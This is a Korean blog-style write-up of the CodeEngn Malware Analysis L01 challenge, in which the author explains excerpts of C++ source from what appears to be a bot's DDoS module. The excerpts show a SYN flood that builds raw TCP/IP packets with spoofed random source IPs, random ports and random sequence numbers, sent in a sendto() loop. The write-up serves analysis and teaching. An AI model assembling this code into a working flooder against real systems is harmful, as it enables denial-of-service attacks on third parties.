[CodeEngn]

Malware Analysis L01

소스코드를 주고, 어떤 공격인지 알아내는 문제였다.

해당 소스코드는 CPP 로 구현이 되어 있다.

나는 CPP 는 모르지만, Python 이나 JAVA 등등을 해봐서, 눈에 어느정도 들어왔다.

그리고 소켓프로그래밍을 python 에서 다뤄봐서,

구조가 97.3% 정도 보였다.

```
addr_in.sin_family=AF_INET; // IPv4를 사용하겠다.
addr_in.sin_port=htons(TargetPort);
addr_in.sin_addr.s_addr=TargetIP;

ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;

ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2; // syn
tcpHeader.th_win=htons(16384);
tcpHeader.th_urp=0;
tcpHeader.th_ack=0;
```

addr_in.sin_family = AF_INET;

⇨ IPv4 를 사용하겠다

tcpHeader.th_flag=2;

⇨ Tcp 헤더에서 flag = 2 를 세팅하겠다.

(플래그 번호는 아래를 참조하면 된다.)

| URG | ACK | PSH | RST | SYN | FIN |

| 6 | 5 | 4 | 3 | 2 | 1 |

TCP 플래그 순서 및 번호이다.

```
while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
i++;
tcpHeader.th_sum=0;
tcpHeader.th_dport=htons(TargetPort);

psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);

tcpHeader.th_sport=htons((rand()%1001)+1000); // source port를 랜덤으로 설정한다.
tcpHeader.th_seq=htons((rand()<<16)|rand()); // tcp sequence number도 랜덤으로 설정한다.
```

그리고 while()문이 돌아간다.

ipHeader.sourceIP=htonl(lSpoofIP);
⇨ 출발지 IP 를 설정한다.

tcpHeader.th_sport=htons((rand()%1001)+1000);
⇨ 출발지 포트를 랜덤으로 설정한다.

tcpHeader.th_seq=htons((rand()<<16)|rand());
⇨ Tcp sequence number 로 랜덤으로 설정한다.

```
// 실제 공격하는 스크립트
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));


// 소켓이 에러가 날때 처리문
if(rect==SOCKET_ERROR) return false;

if((GetTickCount()-lTimerCount)/1000>len) break;

if(bRandPort) { TargetPort=brandom(1000, 10000); }
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);

Sleep(delay);
}

xClose(sock);
```

Sendto()는 실제 공격하는 스크립트이다.

그리고 sendto()에 반환값이 SOCKET_ERROR 일때를 대비해서 if 문으로 대비해두었다.

그리고 마지막에는 xClose(sock); 소켓을 닫아준다.

해당 툴은 이 행위를 계속 반복해서 DDoS 공격 ( ) 을 한다.